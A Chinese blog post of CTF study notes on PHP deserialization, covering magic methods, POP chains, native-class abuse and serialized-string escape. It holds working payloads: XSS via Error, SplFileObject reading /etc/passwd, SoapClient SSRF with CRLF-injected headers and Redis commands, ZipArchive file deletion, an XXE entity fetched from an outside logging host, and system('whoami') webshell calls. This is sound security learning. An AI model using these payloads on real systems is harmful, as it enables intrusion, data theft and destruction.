php反序列化学习

PHP反序列化

php序列化(serialize):是将变量转换为可保存或传输的字符串的过程

php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。

魔术方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__construct(): 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct(): 和构造函数相反,当对象所在函数调用完毕后执行。
__call(): 当调用对象中不存在的方法会自动调用该方法。
__get(): 获取对象不存在的属性时执行此函数。
__set(): 设置对象不存在的属性时执行此函数。
__toString(): 当对象被当做一个字符串使用时调用。
__sleep(): 序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup(): 反序列化恢复对象之前调用该方法
__isset(): 在不可访问的属性上调用isset()或empty()触发
__unset(): 在不可访问的属性上使用unset()时触发
__invoke(): 将对象当作函数来使用时执行此方法
__clone(): 进行对象clone时被调用,用来调整对象的克隆行为
__autoload(): 尝试加载未定义的类
__debuginfo(): 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__callStatic(): 调用不可访问或不存在的静态方法时被调用
__set_state(): 当调用var_export()导出类时,此静态方法被调用。用“__set_state”的返回值做为var_export的返回值。

不同属性区别

1
2
3
4
5
6
public  变量(公有) 
直接将变量名反序列化出来
protected 变量(受保护)
\x00 + * + \x00 + 变量名
private 变量(私有)
\x00 + 类名 + \x00 + 变量名

__construct() & _destruct()

__construct:构造函数,在实例化一个对象时,会被自动调用,可以作为非public权限属性的初始化
__destruct:即析构函数,和构造函数相反,当对象销毁时会调用此方法,一是用户主动销毁对象,二是当程序结束时由引擎自动销毁

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php  
class CTF{
public $a="这里是__construct~~~";
public function __construct()
{
echo $this->a;
}
public function __destruct()
{
echo $this->a="这里是__destruct~~~";
}

}
$a=new CTF();
?>

运行结果

可以看到__destruct这个方法会在__construct执行后再执行,因此只要我们实例化了a,在它被销毁的时候(一般在程序结束时),这个函数中的变量就会自动调用,因此__destruct这个方法在许多ctf题目中经常作为我们构建反序列化链(pop)的起始

__sleep() & _wakeup()

__sleep:serialize()时会先检查是否有__sleep()并且是先执行sleep()再进行序列化
__wakeup:当unserialize的时候,会检查时候存在wakeup()函数,如果存在 的话,会优先调用wakeup()函数再进行反序列化

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php  
class CTF{
public $a;
public function __destruct()
{
echo $this->a="这里是__destruct~~~";
}
public function __sleep()
{
echo $this->a="这里是__sleep~~~"
}

}
$a=new CTF();
serialize($a);

可以看到,先执行sleep()再执行destruct()

但感觉sleep()相较于wakeup()比较不常见,毕竟几乎遇到的题目都是unserilize(),很少有serilize(),所以相比之下,wakeup()出现的频率就很高了。

经常会考察wakeup()的绕过,关于wakeup绕过的几种方法,之前已经总结过了php反序列化之wakeup()绕过 - Hey

__get ()& _set()

__get:对不可访问属性或不存在属性进行 访问引用时自动调用
__set:对不可访问属性或不存在属性进行 写入时自动调用

这两者区别在于一个是“访问”一个是“写入”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class CTF{
public $username='admin';
private $password='admin'; #将该变量设置为私有
#参数 $name 是指要操作的变量名称,一般可以不管
public function __get($name){
echo "这里是__get~~~\n";
}

public function __set($name,$value){
echo "这里是__set~~~\n";
}

}

$a = new CTF();
$a->password; #尝试访问不可访问的属性
$a->password='123456'; #尝试对不可访问的属性赋值
?>

分别触发了__get()__set()方法

__call() & _callstatic()

__call:对象执行类不存在的方法时会自动调用__call方法
__callstatic:直接执行类不存在的方法时会自动调用__callstatic方法

与__get ()& _set()的区别是:get ()和 set()方法触发的对象是“属性”;而 call() 和 callstatic()触发对象是“方法”

直接执行类是指在没有实例化对象的情况下,直接访问类的静态成员和静态方法。例如:

1
2
3
4
5
6
7
8
9
class MyClass {
public static $myStaticVar = "Hello";
public static function myStaticMethod() {
echo "Static method called";
}
}
echo MyClass::$myStaticVar; # 输出 "Hello"
MyClass::myStaticMethod(); # 输出 "Static method called"

在上面的例子中,我们没有创建MyClass的对象,而是直接访问了它的静态成员和静态方法。

对象执行类是指在实例化对象后,通过对象来访问类的成员和方法。例如:

1
2
3
4
5
6
7
8
9
10
class MyClass {
public $myVar = "World";
public function myMethod() {
echo "Method called";
}
}
$obj = new MyClass();
echo $obj->myVar; # 输出 "World"
$obj->myMethod(); # 输出 "Method called"

在上面的例子中,我们创建了MyClass的对象$obj,并通过$obj来访问它的成员和方法。

接着就这两个魔术方法,举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class CTF{

public function __call($method,$args){
echo '不存在'.$method.'方法(__call)';
}

public function __callstatic($method,$args){
echo '这里是__callstatic~~~';
}
}

$a = new CTF();
$a->Hey(); #对象执行类不存在的方法Hey(),触发__call
CTF::Hey(); #直接执行类不存在的方法Hey(),触发__callstatic

__isset ()& _unset()

__isset:在不可访问的属性上使用inset()时触发
__unset:在不可访问的属性上使用unset()时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
public $username='admin';
private $password='admin888';

function __isset($name){
echo "这里是__isset~~~\n";
}
function __unset($name){
echo "这里是__unset~~~\n";
}
}

$a = new test();
isset($a->password);
unset($a->psd);

感觉在ctf中还是少见到这两种方法的

__invoke()

__invoke():当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class CTF{

public function __invoke(){
echo "这里是__invoke~~~";
}
}
class ONE{
public $web1;
public function __destruct()
{
($this->web1)();
}
}
$a = new CTF();
$b = new ONE();
$b->web1 = $a;

这里用ONE类中的($this->web1)();去触发CTF类中的__invoke()方法。

__toString

__toString():在类的对象被当作字符串操作的时候自动被调用(例如:echo $this->web1 . ‘哈哈哈哈’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class CTF{

public function __toString(){
return "这里是__toString~~~";
}
}
class ONE{
public $web1;
public function __destruct(){
echo $this->web1 . "哈哈哈哈哈";
}
}
$a = new CTF();
$b = new ONE();
$b->web1 = $a;

这里用ONE类中的echo $this->web1 . “哈哈哈哈哈”;去触发CTF类中的__toSting()方法。

原生类

这个部分是看了朋友的总结再来写的,PHP原生类 | b1xcy’s blog

写得太好啦!一看就懂,这里我也简单记录一下

原生类,顾名思义就是自带的类,不需要事前进行class定义。

例如愚人杯中的那个被遗忘的反序列化,非预期就是原生类

部分代码:

1
2
3
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;

这里的new的类(coos)和向类中传递的参数(file)都可以自定义,就可以用原生类

Error和Exception

Exception 类适用于PHP 5和7,

Error 只适用于 PHP 7。

Error类属性:

  • message:错误消息内容
  • code:错误代码
  • file:抛出错误的文件名
  • line:抛出错误在该文件中的行数

Exception类属性:

  • message:异常消息内容
  • code:异常代码
  • file:抛出异常的文件名
  • line:抛出异常在该文件中的行号

Error类方法:

  • Error::__construct — 初始化 error 对象
  • Error::getMessage — 获取错误信息
  • Error::getPrevious — 返回先前的 Throwable
  • Error::getCode — 获取错误代码
  • Error::getFile — 获取错误发生时的文件
  • Error::getLine — 获取错误发生时的行号
  • Error::getTrace — 获取调用栈(stack trace)
  • Error::getTraceAsString — 获取字符串形式的调用栈(stack trace)
  • Error::__toString — error 的字符串表达
  • Error::__clone — 克隆 error

Exception类方法:

  • Exception::__construct — 异常构造函数
  • Exception::getMessage — 获取异常消息内容
  • Exception::getPrevious — 返回异常链中的前一个异常
  • Exception::getCode — 获取异常代码
  • Exception::getFile — 创建异常时的程序文件名称
  • Exception::getLine — 获取创建的异常所在文件中的行号
  • Exception::getTrace — 获取异常追踪信息
  • Exception::getTraceAsString — 获取字符串类型的异常追踪信息
  • Exception::__toString — 将异常对象转换为字符串
  • Exception::__clone — 异常克隆

这两个类中都内置了__toString()方法,这个方法用于将异常或错误对象转换为字符串。

XSS利用

1
2
$a = new Error("<script>alert('xss')</script>");
echo $a;

执行代码就能把构造好的xss直接拼接到html中,造成xss攻击

绕过哈希比较

同时也能用来绕过哈希比较啊

1
2
3
<?php
$a = new Error("payload",1);
echo $a;

在使用类中的__toString()方法时,向Error中传入的1并不会显示,这说明在字符串操作时候,只要传入的“payload”相同,即视为该字符串相同。

即便两者的字符串是完全一致的,但是进行var_dump比对时,两者的值却不相同。

所以可以利用这个,在特定的环境下绕过比较

1
if($this->a != $this->b && sha1($this->a) === sha1($this->b))

payload:

1
$this->a = new Error("payload",1);$this->b = new Error("payload",2);

buuctf的[2020极客大挑战] Ereatphp 就可以使用该方式

Directorylterator和Filesystemlterator

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。FilesystemIterator 类与DirectoryIterator 类相同。

1
2
3
4
5
6
7
<?php
$dir = $_GET['a'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

传入/?a=glob:///*即可查看根目录下的所有文件(将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。)

如果不用foreach就只能查看第一个文件

但传入/?a=glob:///*f*就可以通过通配符及正则匹配指定判断是否有文件名包含f的文件

例如,像愚人杯那道题那样

1
2
3
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;

这里的new的类(coos)和向类中传递的参数(file)都可以自定义,就可以通过通配符及正则匹配指定判断是否有某些文件

1
2
$a->file="glob:///*f*";
$a->coos="DirectoryIterator";

Globlterator

与Directorylterator和Filesystemlterator类似,

不过这个查找文件时不需要搭配glob://伪协议使用,直接传入路径即可

1
GlobIterator(/*flag*)

即:

1
2
$a->file="/*f*";
$a->coos="GlobIterator";

SplFileObject

可以利用该类读取文件的一行

1
2
3
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;

例如,愚人杯那道题,知道了有个f1agaaa文件后,可以用该类查看内容

1
2
3
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
1
2
$a->file="/f1agaaa";
$a->coos="SplFileObject";

SoapClient

如果想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项

常用于ssrf中,因为它内置了一个__call方法,触发该方法之后可以发送http和https请求。

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

下面直接搬一下大佬的解释

则可以构造:

1
2
3
4
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.255.129:1234/aaa', 'uri'=>'http://192.168.255.129:1234'));
$a->a();
?>

在192.168.255.129上给一个1234的监听,可以接收到:

1
2
3
4
5
6
7
8
9
10
POST /aaa HTTP/1.1
Host: 192.168.255.129:1234
Connection: Keep-Alive
User-Agent: PHP-SOAP/8.2.0
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://192.168.255.129:1234#a"
Content-Length: 388

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://192.168.255.129:1234" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

如果HTTP头存在CRLF漏洞,就可以通过SSRF+CRLF插入任意HTTP头。

payload:

1
2
3
4
5
<?php
$target = 'http://192.168.255.129:1234';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=test", 'uri' => 'test'));
$a->a();
?>

成功插入cookie:

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: 192.168.255.129:1234
Connection: Keep-Alive
User-Agent: WHOAMI
Cookie: PHPSESSID=test
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

同理,还可以插入Redis命令:

1
2
3
4
5
<?php
$target = 'http://192.168.255.129:1234';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCONFIG SET dir /var/www/html", 'uri' => 'test'));
$a->a();
?>

也可以发送POST数据包,但是要设置Content-Typeapplication/x-www-form-urlencoded

由于Content-Type的位置在UA底下,就可以通过类中的UA插入Content-Type,把原来的挤到地下作为POST内容

payload:

1
2
3
4
5
6
7
8
9
10
11
<?php
$target = 'http://192.168.255.129:1234';
$poc = "CONFIG SET dir /var/www/html";
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=Cookie'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>"UA\n\rContent-Type: application/x-www-form-urlencoded\n\r".join("\n\r",$headers)."\n\rContent-Length: ". (string)strlen($post_data)."\n\r\n\r".$post_data,'uri'=>'test'));
$a->a();
?>

ZipArchive

PHP ZipArchive类是PHP的一个原生类,它是在PHP 5.20之后引入的。ZipArchive类可以对文件进行压缩与解压缩处理。

类下有个open方法,可以打开一个新的或现有的zip文档进行读取.

1
ZipArchive::open ( string $filename [, int $flags ] ) : mixed

flags可以指定开打的模式:

  • ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
  • ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
  • ZipArchive::RDONLY:只读模式打开压缩包。
  • ZipArchive::EXCL:如果压缩包已经存在,则出错。
  • ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。

如果指定flags为ZipArchive::OVERWRITE,就可以把指定文件删除。

注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。

也就是说我们可以利用ZipArchive原生类调用open方法删除目标主机上的文件。

1
2
3
4
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
// ZipArchive::OVERWRITE: 总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖
// 因为没有保存,所以效果就是删除了1.txt

SimpleXMLElement

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。

官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:

1
2
3
4
5
6
7
public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)

其中值得注意的是$data$data_is_url这个两个参数:

$data:格式正确的XML字符串,或者XML文档的路径或URL(如果$data_is_url为true)。

$data_is_url:默认情况下$data_is_url为false。使用true指定$data的路径或URL到一个XML文件,而不是字符串数据。

可以看到通过设置第三个参数 $data_is_urltrue,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。

这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。

example:

1
2
3
4
5
6
7
8
9
10
11
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://t6n089.ceye.io">%remote;]>
]>
<x>&xee</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>

一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区

Reflection反射类

ReflectionMethod

该类中有个getDocComment() 方法,可以获得类中函数的注释内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class FlagIsHere
{
/**
* 这是测试方法
* flag{success}
* @return int
*/
protected function GiveMeFlag()
{
return 9999;
}
}

$ref = new ReflectionMethod('FlagIsHere','GiveMeFlag');
var_dump($ref->getDocComment());

ReflectionClass

能显示出类中的属性和方法:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
class F{
protected $pro;
private $pri;
protected function get(){
echo 'pro';
}
}
$ref = new ReflectionClass('F');
echo $ref;
?>

ReflectionFunction

ReflectionFunction 类报告了一个函数的有关信息。其中invokeArgs()方法能够用来写Webshell。

1
2
3
4
5
6
<?php
$a = "system";
$b = "whoami";
$func = new ReflectionFunction($a);
echo $func->invokeArgs(array($b));
?>

动态调用

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

当给一个函数名赋值给一个变量时,可以通过调用这个变量来调用这个函数。

例如:

1
2
3
4
5
<?php
$a = "system";
$b = "whoami";
($a)($b);
?>

这样相当于直接执行了system(whoami)命令。

同理:

1
2
3
4
5
6
7
8
9
10
11
<?php
class Hey{
public function sys($exec){
system($exec);
}
}
$n = new Hey();
$a = array($n,"sys");
$b = "whoami";
$a($b);
?>

反序列化字符逃逸

参考:https://xz.aliyun.com/t/9213

原理:PHP在反序列化时,是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且在字符串内,是以关键字后面的数字来规定所读取的内容 。所以我们可以人为地修改反序列化字符串,构造出合适的payload来达到字符逃逸的效果

场景:通常通过preg_replace()str_replace等函数来进行字符串的长度的修改

例如:

1
2
3
4
5
6
7
8
9
10
function safe($parm)
{
$array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
return str_replace($array, 'hacker', $parm);
}

function filter($a){
$filter='/qq/i';
return preg_replace($filter,'w',$a);
}

字符串增多

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class A{
public $a='qqqqqqq';
public $b='21';

}function filter($a){
$filter='/q/i';
return preg_replace($filter,'ww',$a);
}
$a=new A;
var_dump(serialize($a));
$r=filter(serialize($a));
var_dump($r);

通过运行以下代码可以知道,当经过filter替换后的payload明显是不能用的,因为序列化的长度不对应7:"wwwwwwwwwwwwww"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class A{
public $a='qqqqqqq';
public $b='21';

}function filter($a){
$filter='/q/i';
return preg_replace($filter,'ww',$a);
}
//$a=new A;
//var_dump(serialize($a));
//$r=filter(serialize($a));
//var_dump($r);
$out='O:1:"A":2:{s:1:"a";s:7:"wwwwwwwwwwwwww";s:1:"b";s:2:"21";}';

//$out='O:1:"A":2:{s:1:"a";s:7:"qqqqqqq";s:1:"b";s:2:"21";}';
var_dump(unserialize($out));
?>

但我们可以通过字符逃逸来达到正确的效果,甚至可以修改原有参数值和添加反序列化类中不存在的属性

例如我们想让$b=114同时添加一个属性$c=514,那么我们需要构造:

1
";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}    //这里开头的";用来闭合前面

然后先将其拼接在$a的后面看看输出

1
O:1:"A":2:{s:1:"a";s:46:"qqqqqqq";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}";s:1:"b";s:2:"21";}

当然这时候还是不能成功逃逸的,可以想一下

如果我们把s:28后面的内容以字符串按要求填满了46个,那么";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}就会执行。而}”后面的内容,即;s:1:"b";s:2:"21";}"就不会执行了,从而达到了逃逸的目的。

也就是说让替换后的字符w填满后,我们构造的字符就能成功逃逸

而在filter函数中,一个q被换成了两个w,所以让q的数量等于";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}的字符串长度就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class A{
public $a='qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}';
public $b='21';

}function filter($a){
$filter='/q/i';
return preg_replace($filter,'ww',$a);
}
$a=new A;
var_dump(serialize($a));
$r=filter(serialize($a));
var_dump($r);
//$out='O:1:"A":2:{s:1:"a";s:7:"wwwwwwwwwwwwww";s:1:"b";s:2:"21";}';

//$out='O:1:"A":2:{s:1:"a";s:7:"qqqqqqq";s:1:"b";s:2:"21";}';
//var_dump(unserialize($out));
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class A{
public $a='qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}';
public $b='21';

}function filter($a){
$filter='/q/i';
return preg_replace($filter,'ww',$a);
}
//$a=new A;
//var_dump(serialize($a));
//$r=filter(serialize($a));
//var_dump($r);
//$out='O:1:"A":2:{s:1:"a";s:7:"wwwwwwwwwwwwww";s:1:"b";s:2:"21";}';

//$out='O:1:"A":2:{s:1:"a";s:7:"qqqqqqq";s:1:"b";s:2:"21";}';
$out='O:1:"A":3:{s:1:"a";s:78:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}";s:1:"b";s:2:"21";}';
var_dump(unserialize($out));
?>
// 这里值得注意的是,我们添加了一个不存在的属性,所以要将原来的"A":2改成"A":3
// 如果未新增属性则不用改变

字符串减少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A{
public $a='qqqqqqqqqqqqqqqqqqqqqqqqqq';
public $b='20';

}
function filter($a){
$filter='/qq/i';
return preg_replace($filter,'w',$a);
}
$a=new A;
var_dump(serialize($a));
$r=filter(serialize($a));
var_dump($r);

和增加的情况差不多,只不过这次是减少

1
a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}    //这里的a用来闭合

然后赋值

1
$b='a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}'

1
O:1:"A":2:{s:1:"a";s:26:"wwwwwwwwwwwww";s:1:"b";s:40:"a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}";

接下来只需要p的长度为";s:1:"b";s:40:"a的两倍,然后缩短为w后就可以将";s:1:"b";s:40:"a与w一起解析为字符串,从而逃逸出我们想构造的字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class A{
public $a='qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq';
public $b='a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}';

}
function filter($a){
$filter='/qq/i';
return preg_replace($filter,'w',$a);
}
$a=new A;
var_dump(serialize($a));
$r=filter(serialize($a));
var_dump($r);

//$out='O:1:"A":2:{s:1:"a";s:34:"wwwwwwwwwwwwwwwww";s:1:"b";s:40:"a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}";}';
//记得将A的数量改成3,即
//$out='O:1:"A":3:{s:1:"a";s:34:"wwwwwwwwwwwwwwwww";s:1:"b";s:40:"a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}";}';
//var_dump(unserialize($out));


php反序列化学习
https://www.smal1.black/php反序列化学习.html
作者
Small Black
发布于
2023年4月6日
许可协议